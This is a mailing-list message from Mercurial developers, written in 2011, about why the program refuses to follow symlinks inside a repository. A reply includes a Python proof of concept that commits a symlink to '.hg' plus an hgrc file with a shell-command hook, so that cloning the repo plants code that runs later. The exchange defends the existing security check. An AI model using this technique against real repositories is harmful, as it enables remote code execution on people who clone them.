Traversing symlinks
Peter Arrenbrecht
peter.arrenbrecht at gmail.com
Fri May 20 11:31:52 CDT 2011
On Thu, May 19, 2011 at 7:42 PM, Matt Mackall <mpm at selenic.com> wrote:
> On Thu, 2011-05-19 at 14:17 +0200, Martin Geisler wrote:
>> Matt Mackall <mpm at selenic.com> writes:
>>
>> > On Mon, 2011-05-16 at 19:57 +0200, Martin Geisler wrote:
>> >> Hi guys,
>> >>
>> >> Way back in 2007, this changeset was added:
>> >>
>> >> http://selenic.com/hg/rev/d316124ebbea
>> >>
>> >> It makes Mercurial abort when it encounters a symlink on the way to a
>> >> file -- even when the symlink points inside the repository:
>> >>
>> >> $ ln -s contrib extra
>> >> $ hg status extra/mq.el
>> >> abort: path 'extra/mq.el' traverses symbolic link 'extra'
>> >>
>> >> This seems a tad too restrictive to me,
>> >
>> > Ok, do tell, what have you lost by not being able to ask for the
>> > status of a path you can't commit?
>>
>> Oh, you must have misunderstood me -- after the change you would be able
>> to do
>>
>> $ hg commit extra/mq.el
>>
>> just fine.
>
> Congratulations, you've just introduced a security hole that allows
> remote attackers to 0wn you on clone.
>
> Just for kicks, I tried my hand at making an evil repo. Here's what
> happens when we weaken the check on line 119 of scmutil.py as you've
> proposed and clone my nasty little repo:
>
> $ hg clone http://localhost:8000/ a2
> requesting all changes
> adding changesets
> adding manifests
> adding file changes
> added 1 changesets with 2 changes to 2 files
> updating to branch default
> *** y00 haz bin 0wnz0red ***
> 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
>
> For bonus points, you've also broken checkouts on Windows.
I guess the key is that hg can *create* symlinks during checkout. If
it now also follows them, we can attack like so:
from mercurial import ui, hg, context
def buildevil():
repo = hg.repository(ui.ui(), "/tmp/foo/", create=True)
fs = {
"hg": context.memfilectx("hg", ".hg", islink=True),
"hg/hgrc": context.memfilectx("hg/hgrc", "[hooks]\nupdate=sh
-c 'echo owned'"),
}
def filefn(repo, cx, path):
return fs[path]
repo.commitctx(context.memctx(repo, [None, None], "hg", ["hg",
"hg/hgrc"], filefn))
repo.close()
def cloneevil():
hg.clone(ui.ui(), "/tmp/foo", "/tmp/bar", update=True)
if __name__ == '__main__':
buildevil()
cloneevil()
This does not own you during the clone but on any subsequent operation
for which the attacker places a hook. I don't know how Matt got his
attack to inject the payload during the actual clone.
This is be related to issue1450. It does not work against current hg,
so I guess this is not a zero-day exploit.
-parren
> You may commence wearing a brown paper bag on your head... now.
>
> I'm not going to tell you which of several possible exploit I used just
> yet, as the point of this exercise is to demonstrate that just because
> you can't imagine an attack doesn't mean it doesn't exist.
>
> --
> Mathematics is the supreme nostalgia of our time.
>
>
> _______________________________________________
> Mercurial-devel mailing list
> Mercurial-devel at selenic.com
> http://selenic.com/mailman/listinfo/mercurial-devel
>
More information about the Mercurial-devel
mailing list